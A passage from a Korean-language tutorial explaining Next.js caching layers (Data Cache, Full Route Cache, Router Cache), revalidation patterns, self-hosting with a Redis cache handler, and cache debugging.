| --------- | --------------------- | ----------------- | -------------------- |
| 사용처    | Server Components     | Client Components | Client Components    |
| 용도      | 함수 결과 캐싱        | 계산 결과 캐싱    | 컴포넌트 리렌더 방지 |
| 캐시 공유 | 여러 컴포넌트 간 공유 | 해당 컴포넌트 내  | 해당 컴포넌트만      |
| 캐시 크기 | 다중 인자 조합 저장   | 최근 1개만 저장   | N/A                  |
| 캐시 수명 | 단일 요청             | 리렌더 간 유지    | props 동일 시 유지   |

### 2.2 Data Cache

Data Cache는 fetch 응답을 서버에 **영구적으로** 저장한다. Request Memoization이 단일 요청 내에서만 유효한 것과 달리, Data Cache는 **배포 간에도 유지**된다.

**저장소:**

- Vercel: 글로벌 분산 캐시 (Vercel의 Edge Network)
- Self-hosted: 기본적으로 메모리(50MB) + 파일시스템에 저장 ([Self-hosting 가이드](https://nextjs.org/docs/app/guides/self-hosting))
  - 구체적 위치: `.next/cache/fetch-cache/` (Next.js 소스 코드 기반)
- Custom Handler: Redis, Memcached 등 (직접 구현)

```bash
# Self-hosted에서 Data Cache 확인
ls .next/cache/fetch-cache/
# 출력 예시: 해시된 캐시 키 파일들
# a1b2c3d4e5f6...
# f6e5d4c3b2a1...
```

#### 파일시스템 캐시의 동작 원리

Next.js 서버는 캐시 가능한 fetch 응답을 받을 때마다 파일시스템에 기록한다:

```text
1. fetch() 호출 (cache: 'force-cache' 또는 revalidate 설정)
     ↓
2. .next/cache/fetch-cache/ 디렉토리 확인
     ↓
3-a. 캐시 히트 → 파일에서 읽어서 반환
3-b. 캐시 미스 → API 호출 → 응답을 파일로 저장 → 반환
```

각 캐시 파일은 JSON 형태로, 응답 본문과 메타데이터를 포함한다:

```json
{
  "kind": "FETCH",
  "data": {
    "body": "...",
    "headers": {"content-type": "application/json"},
    "status": 200
  },
  "revalidate": 3600,
  "tags": ["posts"]
}
```

#### 파일시스템 캐시의 한계

파일시스템 캐시는 **단일 서버 환경**에서는 잘 동작하지만, 현대적인 배포 환경에서는 문제가 생길 수 있다:

| 환경                        | 캐시 저장소                       | 문제점                         |
| --------------------------- | --------------------------------- | ------------------------------ |
| 단일 서버                   | 로컬 파일시스템                   | 괜찮음                         |
| 멀티 인스턴스 (k8s, ECS 등) | 각 Pod/컨테이너의 로컬 파일시스템 | **인스턴스 간 캐시 불일치**    |
| Serverless (AWS Lambda 등)  | 컨테이너 파일시스템               | **콜드 스타트 시 캐시 사라짐** |
| Vercel                      | Vercel Edge Network               | 글로벌 분산, 문제 없음         |

멀티 인스턴스 환경에서는 로드밸런서가 요청을 다른 서버로 보낼 때마다 캐시 미스가 발생하거나, 서로 다른 버전의 데이터를 반환할 수 있다. Serverless 환경에서는 함수가 콜드 스타트되면 이전 캐시가 없어진다. 이런 환경에서는 Redis 같은 외부 캐시 저장소를 사용하는 것이 좋다.

#### 캐시 키는 어떻게 생성되나?

Data Cache의 캐시 키는 다음 요소들로 구성된다: **URL, HTTP 메서드, Headers(일부 제외), Request Body, `next.tags`**. 같은 URL이라도 헤더가 다르면 다른 캐시 항목으로 저장된다.

#### fetch 옵션 상세

```tsx
// 1. 캐싱 활성화 (Next.js 14 기본값)
const data = await fetch('https://api.example.com/data', {
  cache: 'force-cache',
})

// 2. 캐싱 비활성화 (Next.js 15 기본값)
const data = await fetch('https://api.example.com/data', {
  cache: 'no-store',
})

// 3. 시간 기반 재검증
const data = await fetch('https://api.example.com/data', {
  next: {revalidate: 3600}, // 1시간
})

// 4. 태그 기반 캐싱 (온디맨드 재검증용)
const data = await fetch('https://api.example.com/posts', {
  next: {tags: ['posts', 'homepage']},
})

// 5. 복합 설정
const data = await fetch('https://api.example.com/posts', {
  next: {
    revalidate: 3600,
    tags: ['posts'],
  },
})
```

#### Stale-While-Revalidate 패턴 심층 분석

Next.js의 시간 기반 재검증은 HTTP의 `stale-while-revalidate` 패턴을 따른다.

```mermaid
sequenceDiagram
    participant User as 사용자
    participant Cache as Data Cache
    participant API as External API

    Note over Cache: revalidate: 60초 설정

    rect rgb(200, 230, 201)
        Note over Cache: 0-60초: FRESH 상태
        User->>Cache: 요청 (t=10s)
        Cache-->>User: 캐시된 데이터 ✅

        User->>Cache: 요청 (t=30s)
        Cache-->>User: 캐시된 데이터 ✅
    end

    rect rgb(255, 243, 224)
        Note over Cache: 60초 이후: STALE 상태
        User->>Cache: 요청 (t=70s)
        Cache-->>User: 캐시된 데이터 (stale) 먼저 반환 ✅

        par 백그라운드 재검증
            Cache->>API: 새 데이터 요청
            API-->>Cache: 새 데이터 응답
            Note over Cache: 캐시 업데이트
        end
    end

    rect rgb(200, 230, 201)
        Note over Cache: 다시 FRESH 상태
        User->>Cache: 요청 (t=80s)
        Cache-->>User: 새로운 데이터 ✅
    end
```

**중요한 점**: 재검증 시간이 지나도 **즉시 새 데이터를 가져오지 않는다**. 사용자에게는 먼저 stale 데이터를 반환하고, 백그라운드에서 새 데이터를 가져온다. 이 "다음 사용자"가 새 데이터를 받게 된다.

#### unstable_cache: fetch 외 데이터 소스 캐싱

ORM이나 DB 클라이언트를 사용할 때는 `unstable_cache`를 사용한다.

```tsx
import {unstable_cache} from 'next/cache'
import {db} from '@/lib/db'

const getCachedUser = unstable_cache(
  async (userId: string) => {
    return await db.user.findUnique({where: {id: userId}})
  },
  ['user'], // 캐시 키 배열
  {
    tags: ['user'],
    revalidate: 3600,
  },
)

export default async function Profile({userId}) {
  const user = await getCachedUser(userId)
  return <div>{user.name}</div>
}
```

**unstable_cache의 캐시 키 생성 원리:**

캐시 키는 `keyParts 배열` + `함수 인자` + `함수 본체(직렬화됨!)`를 조합하여 생성된다.

**주의사항:**

`unstable_cache`는 이름에 "unstable"이 붙어있을 정도로 몇 가지 까다로운 제약이 있다:

- **함수 본체가 캐시 키에 포함된다**: 함수 내용이 조금이라도 바뀌면 캐시가 무효화된다. 이를 위해 함수 전체를 직렬화하므로 성능 오버헤드가 발생한다.
- **직렬화 가능한 값만 반환 가능**: Prisma 클라이언트 같은 클래스 인스턴스를 반환하면 실패한다. 순수 객체나 원시값만 반환해야 한다.
- **에러도 캐싱된다**: 함수가 에러를 던지면 그 에러가 캐시되어, 이후 호출에서도 같은 에러가 발생한다.
- **Request Context가 필요하다**: 컴포넌트나 페이지 외부(예: 모듈 최상위)에서 호출하면 동작하지 않는다.

#### use cache 디렉티브 (실험적 기능)

`unstable_cache`의 한계를 극복하기 위해, Next.js 팀은 `use cache` 디렉티브를 개발 중이다. Next.js 16에서도 아직 experimental 상태이며, 사용하려면 `next.config.js`에서 플래그를 활성화해야 한다.

```js
// next.config.js
const nextConfig = {
  experimental: {
    useCache: true,
  },
}
```

```tsx
// 함수 레벨 캐싱
async function getUser(id: string) {
  'use cache'
  return await db.user.findUnique({where: {id}})
}

// 페이지 레벨 캐싱
;('use cache')

export default async function Page() {
  const data = await fetch('...')
  return <div>{data}</div>
}
```

`use cache`는 `unstable_cache`보다 훨씬 직관적인 캐시 키 생성 방식을 사용한다:

- **Build ID**: 새로 빌드할 때마다 자동으로 변경되어 모든 캐시가 무효화된다. 코드가 바뀌면 캐시도 바뀌어야 하므로 합리적이다.
- **Function ID**: 함수 본체 전체가 아니라, 코드베이스에서의 위치와 시그니처의 해시만 사용한다. `unstable_cache`보다 효율적이다.
- **직렬화 가능한 인자**: 함수에 전달된 인자값이 캐시 키의 일부가 된다. 같은 인자로 호출하면 캐시 히트, 다른 인자면 캐시 미스.

안정화되면 `unstable_cache`를 완전히 대체할 예정이다.

### 2.3 Full Route Cache

#### Full Route Cache란?

`next build`를 실행하면, Next.js는 각 페이지를 분석해서 **정적으로 생성 가능한 페이지**를 미리 렌더링한다. 이렇게 생성된 HTML과 RSC Payload를 **Full Route Cache**라고 한다.

**왜 필요한가?**

```text
동적 렌더링 (Full Route Cache 없음):
  사용자 요청 → 서버에서 렌더링 → HTML 생성 → 응답

정적 렌더링 (Full Route Cache 있음):
  빌드 시 미리 렌더링 → 저장
  사용자 요청 → 저장된 HTML 즉시 반환
```

정적 페이지는 서버에서 매번 렌더링할 필요가 없다. 미리 만들어둔 HTML을 바로 보내면 되므로 **응답 속도가 매우 빠르고**, 서버 부하도 줄어든다. CDN에 캐시하면 전 세계 어디서든 빠르게 접근할 수 있다.

**저장 위치:**

```bash
.next/server/app/
├── page.html           # / 경로의 HTML
├── page_client-reference-manifest.js
├── about/
│   └── page.html       # /about 경로의 HTML
└── blog/
    └── [slug]/
        └── page.html   # /blog/[slug] 경로의 HTML (generateStaticParams로 생성된 것들)
```

#### 정적 vs 동적: 어떻게 결정되나?

Next.js는 빌드 시점에 각 페이지의 코드를 분석해서, 정적으로 생성할 수 있는지 판단한다.

**동적 렌더링으로 전환되는 조건:**

1. **Dynamic API 사용**: `cookies()`, `headers()`, `searchParams`, `connection()` 호출
2. **캐시 비활성화 fetch**: `cache: 'no-store'` 또는 `revalidate: 0` 설정
3. **Route Config**: `export const dynamic = 'force-dynamic'` 설정

```tsx
// ✅ 정적 렌더링 (Full Route Cache 저장)
export default async function AboutPage() {
  const data = await fetch('https://api.example.com/about', {
    next: {revalidate: 3600},
  })
  return <div>{data}</div>
}

// ❌ 동적 렌더링 (Full Route Cache 안 됨)
export default async function DashboardPage() {
  const session = cookies().get('session') // Dynamic API 사용!
  return <div>Welcome, {session?.value}</div>
}
```

**빌드 로그에서 확인하기:**

```bash
Route (app)                    Size     First Load JS
┌ ○ /                         5.2 kB        89 kB
├ ○ /about                    1.2 kB        85 kB
├ λ /dashboard                3.1 kB        87 kB    # λ = 동적
└ ● /blog/[slug]              2.8 kB        86 kB    # ● = ISR

○ = 정적 (빌드 시 생성)
● = ISR (빌드 시 생성 + 재검증)
λ = 동적 (요청 시 렌더링)
```

#### generateStaticParams: 동적 라우트를 정적으로

`/blog/[slug]` 같은 동적 라우트는 기본적으로 어떤 slug 값이 올지 모르므로 정적 생성이 불가능하다. `generateStaticParams`를 사용하면 **빌드 타임에 어떤 경로들을 미리 생성할지** 지정할 수 있다.

```tsx
// app/blog/[slug]/page.tsx

// 빌드 시점에 실행
export async function generateStaticParams() {
  const posts = await fetch('https://api.example.com/posts').then((res) =>
    res.json(),
  )

  // 상위 10개만 빌드 타임에 생성
  return posts.slice(0, 10).map((post) => ({
    slug: post.slug,
  }))
}

// 나머지 경로의 동작 결정
export const dynamicParams = true // (기본값) 첫 요청 시 생성
// export const dynamicParams = false // 404 반환
```

```mermaid
flowchart TB
    subgraph build["빌드 시점"]
        GSP["generateStaticParams()"]
        GSP --> |"[{slug: 'post-1'}, {slug: 'post-2'}, ...]"| Build["10개 페이지 미리 생성"]
    end

    subgraph runtime["런타임"]
        Req["사용자 요청: /blog/post-99"]
        Req --> Check{"dynamicParams?"}

        Check -->|"true"| Gen["첫 요청 시 생성<br/>+ 캐시 저장"]
        Check -->|"false"| 404["404 반환"]
    end

    Build --> FRC["Full Route Cache"]
    Gen --> FRC
```

**ISR과의 관계:**

```tsx
// ISR 활성화: 빈 배열 반환
export async function generateStaticParams() {
  return [] // 빌드 타임에 아무것도 생성 안 함
}

// 모든 페이지가 첫 요청 시 생성되고,
// revalidate 설정에 따라 ISR로 재검증됨
```

### 2.4 Router Cache

#### Router Cache란?

Router Cache는 4가지 캐시 중 유일하게 **클라이언트(브라우저)** 에서 동작한다. 사용자가 페이지를 탐색할 때 서버에서 받은 **RSC Payload**(React Server Component의 렌더링 결과)를 브라우저 메모리에 저장해두고, 같은 페이지를 다시 방문할 때 재사용한다.

**RSC Payload란?**

서버 컴포넌트가 렌더링된 결과물이다. HTML이 아니라, React가 클라이언트에서 DOM을 구성하기 위해 사용하는 특수한 형식의 데이터다. 이 Payload를 캐시해두면 페이지 이동 시 서버 요청 없이 즉시 화면을 보여줄 수 있다.

**왜 필요한가?**

```text
일반적인 SPA 네비게이션:
  링크 클릭 → 서버 요청 → 응답 대기 → 렌더링

Router Cache가 있을 때:
  링크 클릭 → 캐시에서 즉시 렌더링 (서버 요청 없음)
```

특히 `<Link>` 컴포넌트는 뷰포트에 보이면 자동으로 해당 페이지를 **prefetch**한다. 사용자가 클릭하기 전에 이미 데이터를 가져와 캐시해두므로, 클릭하면 즉시 페이지가 전환된다.

#### 다른 캐시와의 차이

| 특성      | Router Cache               | Data Cache / Full Route Cache |
| --------- | -------------------------- | ----------------------------- |
| 위치      | 브라우저 메모리            | 서버 (파일시스템/외부 저장소) |
| 공유 범위 | 현재 탭/세션만             | 모든 사용자                   |
| 지속 시간 | 세션 동안 또는 설정된 시간 | 재검증 전까지 영구            |
| 저장 대상 | RSC Payload                | fetch 응답 / HTML             |

**중요한 차이**: 서버에서 `revalidatePath()`를 호출해도, **다른 사용자의 브라우저에 있는 Router Cache는 무효화되지 않는다**. 각 브라우저가 독립적인 캐시를 가지고 있기 때문이다.

#### Next.js 15에서의 변화

Next.js 14까지는 Router Cache가 **기본적으로 활성화**되어 있었다. 페이지를 방문하면 30초~5분간 캐시되어, 다시 방문해도 서버 요청 없이 캐시된 데이터를 보여줬다. 이로 인해 "데이터를 수정했는데 반영이 안 돼요" 같은 혼란이 많았다.

Next.js 15에서는 **페이지 캐시를 기본적으로 비활성화**했다:

| 구분        | Next.js 14 | Next.js 15      |
| ----------- | ---------- | --------------- |
| Layout      | 5분 캐시   | 5분 캐시 (유지) |
| Loading     | -          | 5분 캐시        |
| Page (정적) | 5분 캐시   | **캐시 안 함**  |
| Page (동적) | 30초 캐시  | **캐시 안 함**  |

Layout은 여전히 캐시된다. 대부분의 앱에서 레이아웃(헤더, 사이드바 등)은 자주 변하지 않으므로 캐시해도 문제가 적기 때문이다. 하지만 페이지 내용은 더 이상 캐시하지 않아, 항상 최신 데이터를 보여준다.

**예외 상황:**

- **뒤로가기/앞으로가기**: 브라우저의 bfcache처럼, 이전 페이지 상태를 그대로 복원한다
- **`prefetch={true}`인 Link**: 명시적으로 prefetch를 활성화하면 5분간 캐시된다

#### prefetch 동작 이해하기

`<Link>` 컴포넌트는 화면에 보이면 자동으로 대상 페이지를 미리 가져온다:

```tsx
// 1. 정적 라우트: 전체 페이지를 prefetch
<Link href="/about">About</Link>
// 뷰포트에 보이면 → /about 페이지 전체를 미리 로드 → 5분 캐시

// 2. 동적 라우트: Loading 상태까지만 prefetch
<Link href="/posts">Posts</Link>
// 뷰포트에 보이면 → loading.tsx까지만 미리 로드
// 클릭하면 → 실제 페이지 데이터 fetch (Next.js 15: 캐시 안 함)

// 3. prefetch 강제 활성화
<Link href="/posts" prefetch={true}>Posts</Link>
// 동적 라우트도 전체 페이지 prefetch → 5분 캐시

// 4. prefetch 비활성화
<Link href="/posts" prefetch={false}>Posts</Link>
// 뷰포트에 보여도 prefetch 안 함 → 클릭 시에만 fetch
```

**팁**: 자주 방문하는 페이지는 `prefetch={true}`로, 거의 방문하지 않는 페이지는 `prefetch={false}`로 설정하면 네트워크 사용량을 최적화할 수 있다.

#### Router Cache 무효화

Router Cache는 클라이언트에 있으므로, 무효화 방법도 다르다:

| 방법                   | 동작                                      | 사용 시점                             |
| ---------------------- | ----------------------------------------- | ------------------------------------- |
| `router.refresh()`     | 현재 페이지의 서버 컴포넌트만 다시 가져옴 | 클라이언트에서 데이터 갱신 필요 시    |
| `revalidatePath()`     | 해당 경로의 캐시 무효화                   | Server Action에서 데이터 변경 후      |
| `revalidateTag()`      | 해당 태그의 모든 캐시 무효화              | Server Action에서 관련 데이터 변경 후 |
| `cookies.set/delete()` | 전체 Router Cache 무효화                  | 로그인/로그아웃 시                    |

**`router.refresh()` vs 새로고침(F5):**

```tsx
'use client'

function RefreshButton() {
  const router = useRouter()

  return <button onClick={() => router.refresh()}>데이터 새로고침</button>
}
```

- `router.refresh()`: 서버 컴포넌트만 다시 렌더링, 클라이언트 상태(useState 등) 유지
- 새로고침(F5): 전체 페이지 리로드, 모든 상태 초기화

```tsx
// Server Action에서 무효화
'use server'

import {revalidatePath, revalidateTag} from 'next/cache'
import {cookies} from 'next/headers'

export async function updatePost(id: string, data: FormData) {
  await db.post.update({where: {id}, data})

  // 방법 1: 경로 기반
  revalidatePath('/posts')
  revalidatePath(`/posts/${id}`)

  // 방법 2: 태그 기반
  revalidateTag('posts')

  // 방법 3: 레이아웃 포함 전체
  revalidatePath('/posts', 'layout')
}

export async function logout() {
  cookies().delete('session')
  // → Router Cache 자동 무효화
}
```

```tsx
// 클라이언트에서 무효화
'use client'

import {useRouter} from 'next/navigation'

function RefreshButton() {
  const router = useRouter()

  return <button onClick={() => router.refresh()}>새로고침</button>
}
```

## 3단계: 캐시 간 상호작용과 고급 패턴

### 무효화의 연쇄 효과

캐시들은 독립적으로 존재하는 것이 아니라, **의존 관계**로 연결되어 있다. Data Cache의 데이터로 Full Route Cache(HTML)를 생성하고, 그 HTML에서 Router Cache(RSC Payload)가 만들어진다.

이 의존 관계 때문에, 하위 레이어를 무효화하면 상위 레이어도 자동으로 무효화된다. 예를 들어 Data Cache를 무효화하면 그 데이터를 사용하는 Full Route Cache도 다시 생성해야 하므로 무효화된다. 반대로, 상위 레이어만 무효화하면 하위 레이어는 그대로 유지된다.

```mermaid
flowchart TB
    subgraph cascade["무효화 연쇄 (상향식)"]
        DC["Data Cache 무효화"]
        DC -->|"의존성"| FRC["Full Route Cache 무효화"]
        FRC -->|"의존성"| RC["Router Cache 무효화"]
    end

    subgraph independent["독립적 무효화"]
        RC2["Router Cache만 무효화<br/>(router.refresh)"]
        FRC2["Full Route Cache만 무효화"]
    end

    RC2 -.->|"영향 없음"| DC2["Data Cache 유지"]
    FRC2 -.->|"영향 없음"| DC2

    style DC fill:#ffcdd2
    style FRC fill:#fff9c4
    style RC fill:#c8e6c9
```

**무효화 매트릭스:**

| 무효화 대상            |  Data Cache  | Full Route Cache |    Router Cache    |
| ---------------------- | :----------: | :--------------: | :----------------: |
| `revalidateTag('x')`   |      ✅      |        ✅        |         ✅         |
| `revalidatePath('/x')` |      ✅      |        ✅        |         ✅         |
| `router.refresh()`     |      ❌      |        ❌        | ✅ (현재 페이지만) |
| 새 배포                | ❌ (유지됨!) |        ✅        |        N/A         |

**중요**: Data Cache는 새 배포 후에도 유지된다! 이 점을 모르면 "배포했는데 왜 데이터가 안 바뀌지?" 상황이 발생한다.

### On-demand Revalidation 웹훅 패턴

CMS나 외부 서비스와 연동할 때 가장 유용한 패턴이다. 콘텐츠가 변경되면 웹훅을 통해 즉시 캐시를 무효화한다.

```tsx
// app/api/revalidate/route.ts
import {revalidateTag, revalidatePath} from 'next/cache'
import {NextRequest, NextResponse} from 'next/server'

export async function POST(request: NextRequest) {
  // 1. 인증 확인
  const secret = request.headers.get('x-revalidate-secret')
  if (secret !== process.env.REVALIDATE_SECRET) {
    return NextResponse.json({message: 'Invalid secret'}, {status: 401})
  }

  // 2. 웹훅 페이로드 파싱
  const body = await request.json()
  const {type, slug} = body

  try {
    // 3. 태그 기반 무효화 (권장)
    switch (type) {
      case 'post':
        revalidateTag('posts')
        revalidateTag(`post-${slug}`)
        break
      case 'product':
        revalidateTag('products')
        revalidatePath(`/products/${slug}`)
        break
      default:
        revalidateTag('all')
    }

    return NextResponse.json({revalidated: true, now: Date.now()})
  } catch (error) {
    return NextResponse.json({message: 'Error revalidating'}, {status: 500})
  }
}
```

**CMS 연동 시 fetch 태그 설정:**

```tsx
// 태그를 활용한 fetch
async function getPost(slug: string) {
  const res = await fetch(`${CMS_URL}/posts/${slug}`, {
    next: {
      tags: ['posts', `post-${slug}`], // 세분화된 태그
      revalidate: 3600, // 백업용 시간 기반 재검증
    },
  })
  return res.json()
}
```

**revalidatePath vs revalidateTag 선택 기준:**

| 상황                  | 권장 방식                            | 이유                           |
| --------------------- | ------------------------------------ | ------------------------------ |
| 특정 페이지만 갱신    | `revalidatePath('/posts/123')`       | 정확한 경로 지정               |
| 관련 페이지 모두 갱신 | `revalidateTag('posts')`             | 태그로 연결된 모든 캐시 무효화 |
| 레이아웃 포함 갱신    | `revalidatePath('/posts', 'layout')` | 레이아웃 캐시도 무효화         |
| 전체 사이트 갱신      | `revalidatePath('/', 'layout')`      | 루트부터 전체 무효화           |

### 하이브리드 캐싱 패턴

실무에서 가장 많이 쓰는 패턴이다. **페이지는 동적으로 렌더링하지만, 일부 데이터는 캐시**한다.

예를 들어 상품 상세 페이지를 생각해보자. 상품 정보(이름, 가격, 설명)는 모든 사용자에게 동일하므로 캐시해도 된다. 하지만 장바구니 정보는 사용자마다 다르므로 캐시하면 안 된다. 그리고 장바구니를 보여주려면 `cookies()`로 사용자를 식별해야 하므로 페이지 전체가 동적 렌더링이 된다.

이 상황에서 "페이지가 동적이니까 모든 fetch도 캐시 안 해야지"라고 생각하면 성능이 낭비된다. **동적 렌더링과 Data Cache는 별개**이기 때문이다. 페이지가 동적으로 렌더링되더라도, 그 안에서 호출하는 fetch는 Data Cache를 사용할 수 있다.

```tsx
import {cookies} from 'next/headers'

export default async function ProductPage({params}) {
  // ✅ 이 데이터는 Data Cache에 저장 (모든 사용자 공유)
  const product = await fetch(`https://api.example.com/products/${params.id}`, {
    next: {revalidate: 3600, tags: ['products']},
  }).then((r) => r.json())

  // ⚠️ cookies() 호출로 페이지는 동적 렌더링
  const userId = cookies().get('userId')?.value

  // ✅ 사용자별 데이터는 캐시하지 않음
  const cartItems = userId
    ? await fetch(`https://api.example.com/cart/${userId}`, {
        cache: 'no-store',
      }).then((r) => r.json())
    : []

  return (
    <div>
      <ProductDetails product={product} />
      <AddToCart productId={params.id} cartItems={cartItems} />
    </div>
  )
}
```

```mermaid
flowchart TB
    subgraph page["ProductPage"]
        direction TB

        subgraph cached["캐시되는 데이터"]
            Product["상품 정보<br/>revalidate: 3600<br/>Data Cache ✅"]
        end

        subgraph dynamic["캐시 안 되는 데이터"]
            User["사용자 ID<br/>cookies()"]
            Cart["장바구니<br/>no-store"]
        end

        Cookies["cookies() 호출"]
    end

    Result["결과:<br/>페이지 = 동적 렌더링 (Full Route Cache ❌)<br/>상품 데이터 = 1시간 캐시 (Data Cache ✅)<br/>장바구니 = 매번 새로 조회"]

    page --> Result
```

### 병렬 데이터 페칭과 캐싱

여러 데이터를 가져와야 할 때, **순차적으로 await**하면 워터폴이 발생한다. 첫 번째 요청이 끝날 때까지 두 번째 요청을 시작하지 않으므로, 각 요청 시간이 합산된다.

**Promise.all()을 사용하면 모든 요청이 동시에 시작**되어 전체 시간이 가장 긴 요청 시간과 비슷해진다. 그리고 각 요청이 캐시되어 있다면, 캐시 히트인 요청은 거의 즉시 반환된다.

```tsx
export default async function Dashboard() {
  // ❌ 순차 실행: 총 시간 = getUser + getPosts + getAnalytics (합산)
  const user = await getUser()
  const posts = await getPosts()
  const analytics = await getAnalytics()

  // ✅ 병렬 실행: 총 시간 = max(getUser, getPosts, getAnalytics)
  const [user, posts, analytics] = await Promise.all([
    getUser(), // 캐시 히트면 즉시 반환
    getPosts(), // 캐시 히트면 즉시 반환
    getAnalytics(), // 캐시 미스면 API 호출
  ])

  return <DashboardView user={user} posts={posts} analytics={analytics} />
}
```

```mermaid
sequenceDiagram
    participant Page
    participant Cache as Data Cache
    participant API1 as User API
    participant API2 as Posts API
    participant API3 as Analytics API

    Note over Page: Promise.all() 시작

    par 병렬 요청
        Page->>Cache: getUser()
        Cache->>API1: 캐시 미스
        API1-->>Cache: 응답
        Cache-->>Page: 사용자 데이터
    and
        Page->>Cache: getPosts()
        Cache-->>Page: 캐시 히트 ✅
    and
        Page->>Cache: getAnalytics()
        Cache->>API3: 캐시 미스
        API3-->>Cache: 응답
        Cache-->>Page: 분석 데이터
    end

    Note over Page: 모든 데이터 수신 완료
```

### Self-hosted vs Vercel 환경 차이

Next.js는 Vercel에서 만들었기 때문에, Vercel에 배포하면 모든 캐싱 기능이 최적화되어 동작한다. 하지만 AWS, GCP, 또는 직접 운영하는 서버에 배포하면 몇 가지 차이점이 있다. 이를 모르면 "Vercel에서는 됐는데 우리 서버에서는 안 돼요" 같은 문제를 겪게 된다.

| 특성        | Vercel             | Self-hosted                      |
| ----------- | ------------------ | -------------------------------- |
| Data Cache  | 글로벌 분산        | 로컬 파일시스템 (`.next/cache/`) |
| ISR 재검증  | Edge에서 자동 처리 | 단일 서버에서 처리               |
| 캐시 무효화 | 자동 전파          | 멀티 인스턴스 시 불일치 가능     |
| SWR 지원    | 완벽 지원          | CDN 설정 필요                    |

Vercel은 전 세계에 분산된 Edge Network에 캐시를 저장하고, `revalidateTag()` 호출 시 모든 엣지 노드에 자동으로 전파한다. Self-hosted 환경에서는 이 모든 것을 직접 구현하거나 대안을 찾아야 한다.

**Self-hosted 환경의 주요 이슈:**

#### 1. 멀티 인스턴스 캐시 불일치

Kubernetes나 AWS ECS 같은 환경에서 여러 인스턴스를 운영하면, 각 인스턴스가 **독립적인 파일시스템 캐시**를 가진다. 인스턴스 A에서 캐시된 데이터가 인스턴스 B에는 없으므로, 로드밸런서가 어디로 요청을 보내느냐에 따라 사용자가 다른 데이터를 볼 수 있다.

```mermaid
flowchart LR
    subgraph instances["3개의 Next.js 인스턴스"]
        I1["Instance 1<br/>Cache: v1"]
        I2["Instance 2<br/>Cache: v2"]
        I3["Instance 3<br/>Cache: v1"]
    end

    LB["Load Balancer"]
    User["사용자"]

    User --> LB
    LB --> I1
    LB --> I2
    LB --> I3

    Note["사용자가 요청할 때마다<br/>다른 데이터를 볼 수 있음!"]
```

**해결책: Custom Cache Handler**

각 인스턴스가 로컬 파일시스템 대신 **Redis 같은 외부 저장소를 공유**하면, 어떤 인스턴스에서 캐시를 저장하든 다른 인스턴스에서도 동일한 캐시를 읽을 수 있다. 이렇게 하면 로드밸런서가 어디로 요청을 보내든 항상 같은 데이터를 반환한다.

```mermaid
flowchart LR
    subgraph instances["3개의 Next.js 인스턴스"]
        I1["Instance 1"]
        I2["Instance 2"]
        I3["Instance 3"]
    end

    Redis["Redis<br/>공유 캐시"]

    I1 --> Redis
    I2 --> Redis
    I3 --> Redis

    Note["모든 인스턴스가<br/>동일한 캐시 공유 ✅"]
```

```tsx
// cache-handler.js
const Redis = require('ioredis')
const redis = new Redis(process.env.REDIS_URL)

module.exports = {
  async get(key) {
    const data = await redis.get(key)
    return data ? JSON.parse(data) : null
  },

  async set(key, data, ctx) {
    const ttl = ctx.revalidate || 60 * 60 // 기본 1시간
    await redis.setex(key, ttl, JSON.stringify(data))
  },

  async revalidateTag(tags) {
    // 태그 기반 무효화 구현
    for (const tag of tags) {
      const keys = await redis.keys(`*:tag:${tag}:*`)
      if (keys.length) await redis.del(...keys)
    }
  },
}
```

```js
// next.config.js
module.exports = {
  cacheHandler: require.resolve('./cache-handler.js'),
  cacheMaxMemorySize: 0, // 메모리 캐시 비활성화
}
```

#### 2. stale-while-revalidate 헤더 이슈 (Next.js 14 이하)

`stale-while-revalidate`는 CDN이 stale 데이터를 반환하면서 백그라운드에서 새 데이터를 가져오도록 하는 HTTP 헤더다. 이 기능이 제대로 동작해야 ISR이 CDN과 함께 잘 작동한다.

문제는 Next.js 14 이하에서 이 헤더에 시간 값이 빠져있어, Cloudflare나 CloudFront 같은 CDN에서 무시될 수 있다는 것이다. Vercel은 자체 CDN이 Next.js에 맞게 최적화되어 있어서 문제가 없지만, 다른 CDN에서는 ISR 재검증이 예상대로 동작하지 않을 수 있다.

```js
// next.config.js (Next.js 14 이하에서 필요)
module.exports = {
  experimental: {
    swrDelta: 31536000, // 1년 (stale 상태로 유지할 최대 시간)
  },
}
```

이 설정을 추가하면 `Cache-Control: s-maxage=N, stale-while-revalidate=31536000` 헤더가 생성되어 CDN이 올바르게 동작한다. Next.js 15에서는 이 문제가 해결되었다.

### 캐시 디버깅 방법

캐시가 예상대로 동작하지 않을 때, 문제를 진단하는 방법들이다.

#### 1. 개발 환경에서 로깅 활성화

Next.js는 숨겨진 환경 변수를 통해 캐시 동작을 로깅할 수 있다. `.env.local`에 설정하면 각 fetch 요청의 캐시 히트/미스 여부가 콘솔에 출력된다.

```bash
# .env.local
NEXT_PRIVATE_DEBUG_CACHE=1
```

이 설정을 켜면 다음과 같은 로그를 볼 수 있다:

```text
[cache] GET https://api.example.com/posts HIT
[cache] GET https://api.example.com/users MISS
```

`HIT`는 캐시에서 데이터를 가져왔다는 의미이고, `MISS`는 실제로 API를 호출했다는 의미다. 예상과 다른 결과가 나온다면 fetch 옵션을 확인해보자.

#### 2. 프로덕션 빌드로 테스트

앞서 실수 3에서 설명했듯이, 개발 환경에서는 Full Route Cache가 동작하지 않는다. 캐싱 동작을 정확히 확인하려면 반드시 프로덕션 빌드로 테스트해야 한다.

```bash
npm run build && npm run start
```

빌드 로그에서 각 페이지 옆의 심볼(○, ●, λ)을 확인하고, 의도한 대로 렌더링 타입이 지정되었는지 검증하자.

#### 3. 응답 헤더 확인

프로덕션 환경에서 캐시 상태를 확인하는 가장 확실한 방법은 HTTP 응답 헤더를 보는 것이다.

```bash
curl -I https://your-site.com/page
```

**Vercel 환경에서의 헤더:**

- `x-vercel-cache: HIT` - Vercel의 Edge Cache에서 반환됨
- `x-vercel-cache: MISS` - 캐시 미스, 오리진 서버에서 가져옴
- `x-vercel-cache: STALE` - stale 데이터 반환 중, 백그라운드에서 재검증 진행

**Self-hosted 환경에서의 헤더:**

```text
cache-control: s-maxage=3600, stale-while-revalidate=31536000
```

`s-maxage`는 CDN/프록시 캐시 시간, `stale-while-revalidate`는 stale 상태에서 재검증하며 응답할 수 있는 시간이다.

#### 4. .next 디렉토리 직접 확인

Self-hosted 환경에서는 파일시스템에 저장된 캐시를 직접 확인할 수 있다.

```bash
# Data Cache: fetch 응답이 저장된 위치
ls -la .next/cache/fetch-cache/
# 해시된 파일명들이 보인다면 캐시가 저장되고 있는 것

# Full Route Cache: 정적 페이지가 저장된 위치
ls -la .next/server/app/
# page.html 파일들이 보인다면 정적 생성이 된 것
```

